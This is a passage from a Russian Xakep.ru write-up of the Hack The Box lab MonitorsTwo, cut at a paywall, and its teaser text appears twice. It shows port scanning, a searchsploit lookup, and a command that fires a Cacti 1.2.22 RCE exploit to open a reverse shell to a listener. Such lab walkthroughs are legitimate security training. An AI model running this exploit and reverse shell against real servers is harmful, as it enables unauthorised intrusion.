В этом райтапе мы с тобой поднимем привилегии в контейнере Docker, затем совершим побег из него и заюзаем CVE-2021-41091 для захвата рута на хостовой машине. Но сначала нужно будет взломать сайт и проэксплуатировать уязвимость в движке Cacti.
Проделывать все это мы будем в рамках прохождения тренировочной машины MonitorsTwo с площадки Hack The Box. Уровень ее сложности — легкий.
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.211 monitorstwo.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- —min-rate=500 $1 | grep ^[0-9] | cut -d ‘/‘ -f 1 | tr ‘n’ ‘,‘ | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер находит нам два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0.
Сразу переходим к сайту и видим там форму авторизации.
Страница авторизации сайта
Ниже указана версия CMS Cacti — 1.2.22.
Первым делом стоит проверить, есть ли для обнаруженного движка уже готовые эксплоиты. Если ты, как и я, используешь Kali Linux, то база эксплоитов ExploitDB у тебя уже есть под рукой. Достаточно вызвать утилиту SearchSploit и указать ключевое слово.
searchsploit Cacti Эксплоиты, найденные при помощи SearchSploit
Видим, что есть эксплоит для подходящей версии Cacti. Он должен дать нам возможность удаленного выполнения кода (RCE). Посмотрим, какая есть дополнительная информация об эксплоите.
searchsploit -p php/webapps/51166.py Информация об эксплоите
Приступаем к эксплуатации. Сначала запустим листенер pwncat-cs для получения реверс‑шелла. А затем и сам эксплоит:
python3 51166.py -u
Но в ответ ничего не получаем. Видимо, у нас нет доступа к нужному эндпоинту API. Что ж, придется действовать вручную. Открываем код эксплоита и пробуем повторить шаги.
Исходный код эксплоита
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
9990 рублей 4000 р.
[TD]
920 р.
[/TD]
Я уже участник «Xakep.ru»
Проделывать все это мы будем в рамках прохождения тренировочной машины MonitorsTwo с площадки Hack The Box. Уровень ее сложности — легкий.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.211 monitorstwo.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- —min-rate=500 $1 | grep ^[0-9] | cut -d ‘/‘ -f 1 | tr ‘n’ ‘,‘ | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер находит нам два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб‑сервер Nginx 1.18.0.
Сразу переходим к сайту и видим там форму авторизации.
Страница авторизации сайта
Ниже указана версия CMS Cacti — 1.2.22.
Точка входа
Первым делом стоит проверить, есть ли для обнаруженного движка уже готовые эксплоиты. Если ты, как и я, используешь Kali Linux, то база эксплоитов ExploitDB у тебя уже есть под рукой. Достаточно вызвать утилиту SearchSploit и указать ключевое слово.
searchsploit Cacti Эксплоиты, найденные при помощи SearchSploit
Видим, что есть эксплоит для подходящей версии Cacti. Он должен дать нам возможность удаленного выполнения кода (RCE). Посмотрим, какая есть дополнительная информация об эксплоите.
searchsploit -p php/webapps/51166.py Информация об эксплоите
Приступаем к эксплуатации. Сначала запустим листенер pwncat-cs для получения реверс‑шелла. А затем и сам эксплоит:
python3 51166.py -u
You do not have permission to view link please Вход or Регистрация
-p 10.10.14.111 -i 4321Но в ответ ничего не получаем. Видимо, у нас нет доступа к нужному эндпоинту API. Что ж, придется действовать вручную. Открываем код эксплоита и пробуем повторить шаги.
Исходный код эксплоита
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
-60% |
1 year
9990 рублей 4000 р.
[TD]
1 month_r
920 р.
[/TD]
Я уже участник «Xakep.ru»